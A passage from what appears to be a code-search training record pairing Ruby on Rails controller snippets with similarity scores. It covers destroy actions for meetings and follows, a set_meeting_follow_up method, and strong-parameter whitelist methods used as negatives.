'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_follow_location = UserFollowLocation.find(params[:id])\n @user_follow_location.destroy\n\n respond_to do |format|\n format.html { redirect_to user_follow_locations_url }\n format.json { head :ok }\n end\n end", "def destroy\n @user_follow_user = UserFollowUser.find(params[:id])\n @user_follow_user.destroy\n\n respond_to do |format|\n format.html { redirect_to user_follow_users_url }\n format.json { head :ok }\n end\n end", "def destroy\n @followership = Followership.find(params[:id])\n @followership.destroy\n\n respond_to do |format|\n format.html { redirect_to(followerships_url) }\n format.xml { head :ok }\n end\n end", "def del_follow\n current_user.del_follow(@user)\n\n respond_to do |format|\n format.html { redirect_to wall_user_path(@user) }\n format.json { render :json => { user: @user.as_json(:json => 'wall') }}\n end\n end", "def destroy\n @follow.destroy\n\n\n respond_to do |format|\n #format.html { redirect_to tales_url }\n # format.html { redirect_to profiles_index_path(current_user.id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @sponsor_meeting = SponsorMeeting.find(params[:id])\n @sponsor_meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to sponsor_meetings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @meetup_rsvp = MeetupRsvp.find(params[:id])\n @meetup_rsvp.destroy\n\n respond_to do |format|\n format.html { redirect_to request.referer}\n format.json { head :no_content }\n end\n end", "def destroy\n @hack_tag_follow = HackTagFollow.find(params[:id])\n @hack_tag_follow.destroy\n\n respond_to do |format|\n format.html { redirect_to(hack_tag_follows_url) }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @meeting_type = MeetingType.find(params[:id])\r\n @meeting_type.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to meeting_types_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to(meetings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to(meetings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @meeting = Meeting.find(params[:id])\n @meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to(meetings_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n if(@check)\n if @follower.destroy\n render json: {}, status: :ok, location: @follower\n else\n render json: @follower.errors, status: :unprocessable_entity\n end\n end\n end", "def destroy\n @user_follow = UserFollow.find(params[:id])\n @user_follow.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_follows_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @annual_meeting.destroy\n respond_to do |format|\n format.html { redirect_to annual_meetings_url, notice: 'Annual meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to root_path, flash: {success:'Meeting was successfully removed.'} }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting_location = MeetingLocation.find(params[:id])\n @meeting_location.destroy\n\n respond_to do |format|\n format.html { redirect_to meeting_locations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n # @meeting_thread = MeetingThread.find(params[:id])\n @meeting_thread.destroy\n\n respond_to do |format|\n format.html { redirect_to meeting_threads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @user_meeting_location = UserMeetingLocation.find(params[:id])\n @user_meeting_location.destroy\n\n respond_to do |format|\n format.html { redirect_to user_meeting_locations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @album_follow.destroy\n respond_to do |format|\n format.html { redirect_to album_follows_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @follower = Follower.find(params[:id])\n @follower.destroy\n\n respond_to do |format|\n format.html { redirect_to(followers_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @followship.destroy\n respond_to do |format|\n format.html { redirect_to followships_url, notice: 'Followship was successfully unfollowed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @meeting.destroy if @meeting.user == current_user\n respond_to do |format|\n format.html { redirect_to @meeting.user, notice: 'Meeting was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @horse_meet.destroy\n respond_to do |format|\n format.html { redirect_to horse_meets_url, notice: 'Horse meet was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:user_id])\n @follower = @user.follower.find(params[:id])\n @follower.destroy\n head :no_content\n end", "def destroy\n @followship.destroy\n respond_to do |format|\n format.html { redirect_to followships_url, notice: 'Followship was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @user = User.find(params[:user_id])\n @mycontact = @user.mycontacts.find(params[:mycontact_id])\n @meeting= @mycontact.meetings.find(params[:id])\n @user = User.find(params[:user_id])\n @meeting.destroy\n respond_to do |format|\n format.html { redirect_to user_mycontact_meetings_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @member.destroy\n respond_to do |format|\n format.html { redirect_to attends_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reminder = Reminder.find(params[:id])\n @reminder.destroy\n\n \n\n respond_to do |format|\n format.html { redirect_to reminders_url }\n format.json { head :no_content }\n end\n end", "def destroy\n object = @following.object\n @following.destroy\n respond_to do |format|\n format.html { redirect_to object, notice: \"You are no longer following this #{object.class.to_s}.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @announcement = Announcement.find(params[:id])\n @announcement.destroy\n render json:@announcement\n\n end", "def unfollow_artist\n relationship_to_delete = Relationship.where(follower_id: params[:follower_id], followed_id: params[:followed_id])\n relationship_to_delete[0].destroy\n relationships = Relationship.where(followed_id: params[:followed_id])\n render json: relationships\n end", "def destroy\r\n @followship.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: 'Followship was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n meeting.destroy\n\n respond_to do |format|\n format.html { redirect_to( committee_meetings_url( meeting.committee ),\n flash: { success: \"Meeting destroyed.\" } ) }\n format.xml { head :ok }\n end\n end", "def destroy\n @follow = Follow.find(params[:id])\n @follow.destroy\n\n respond_to do |format|\n @followee = User.find(@follow.followee_id)\n format.js { render :action => '../follows/ajax/unfollow'}\n end\n end", "def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :ok }\n end\n end", "def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @goal = Goal.find(params[:id])\n @goal.destroy\n\n respond_to do |format|\n format.html { redirect_to goals_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7540107", "0.75148785", "0.7488016", "0.743424", "0.73862845", "0.73069745", "0.7246522", "0.7242107", "0.72354347", "0.7194497", "0.7190162", "0.71547395", "0.71210456", "0.71198684", "0.7102919", "0.7101492", "0.709414", "0.70831645", "0.70728", "0.70728", "0.70470136", "0.7042201", "0.7029762", "0.7025124", "0.7020028", "0.701671", "0.7011779", "0.7011779", "0.7011779", "0.7005422", "0.6991809", "0.6982068", "0.69773513", "0.6974359", "0.6965026", "0.69496655", "0.69470143", "0.6943474", "0.6938562", "0.69245136", "0.6924398", "0.6921758", "0.6919706", "0.6918204", "0.6909599", "0.69094086", "0.68987364", "0.68912435", "0.6879992", "0.68736094", "0.6866774", "0.6848777", "0.68480545", "0.6838991", "0.6834676", "0.6820234", "0.6820234", "0.6820234", "0.6820234", "0.6820234", "0.6820234", "0.6820234", "0.6820222", "0.681978", "0.68089586", "0.68080235", "0.68047655", "0.6801084", "0.67984474", "0.6780442", "0.67753935", "0.67747283", "0.67747283", "0.67747283", "0.6762932", "0.6758676", "0.67434424", "0.6743129", "0.6734462", "0.6732924", "0.6727874", "0.6719555", "0.6717305", "0.6715132", "0.6699007", "0.66951555", "0.6659094", "0.66513735", "0.66370225", "0.66275996", "0.6625306", "0.66240513", "0.6621729", "0.6620542", "0.6612281", "0.6608264", "0.6593736", "0.6591994", "0.6590503", "0.6590503" ]
0.7894181
0
Use callbacks to share common setup or constraints between actions.
def set_meeting_follow_up @meeting_follow_up = MeetingFollowUp.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def meeting_follow_up_params params.require(:meeting_follow_up).permit(:employee_plan_id, :contact_person, :contact_no, :follow_up_response, :date, :time, :next_date, :next_time) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end", "def allowed_params\n params.require(:allowed).permit(:email)\n end", "def permitted_params\n []\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend", "def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end", "def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end", "def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end", "def safe_params\n params.require(:user).permit(:name)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def check_params; true; end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def quote_params\n params.permit!\n end", "def valid_params?; end", "def paramunold_params\n params.require(:paramunold).permit!\n end", "def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend", "def filtered_parameters; end", "def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end", "def filtering_params\n params.permit(:email, :name)\n end", "def check_params\n true\n end", "def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end", "def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend", "def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end", "def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end", "def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end", "def active_code_params\n params[:active_code].permit\n end", "def filtering_params\n params.permit(:email)\n end", "def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end", "def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end", "def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end", "def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end", "def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end", "def list_params\n params.permit(:name)\n end", "def filter_parameters; end", "def filter_parameters; end", "def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end", "def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end", "def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end", "def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end", "def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def url_whitelist; end", "def admin_social_network_params\n params.require(:social_network).permit!\n end", "def filter_params\n params.require(:filters).permit(:letters)\n end", "def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end", "def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end", "def sensitive_params=(params)\n @sensitive_params = params\n end", "def permit_request_params\n params.permit(:address)\n end", "def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end", "def secure_params\n params.require(:location).permit(:name)\n end", "def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end", "def question_params\n params.require(:survey_question).permit(question_whitelist)\n end", "def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end", "def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end", "def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end", "def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end", "def url_params\n params[:url].permit(:full)\n end", "def backend_user_params\n params.permit!\n end", "def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend", "def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end", "def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end", "def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end", "def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end", "def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end", "def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by 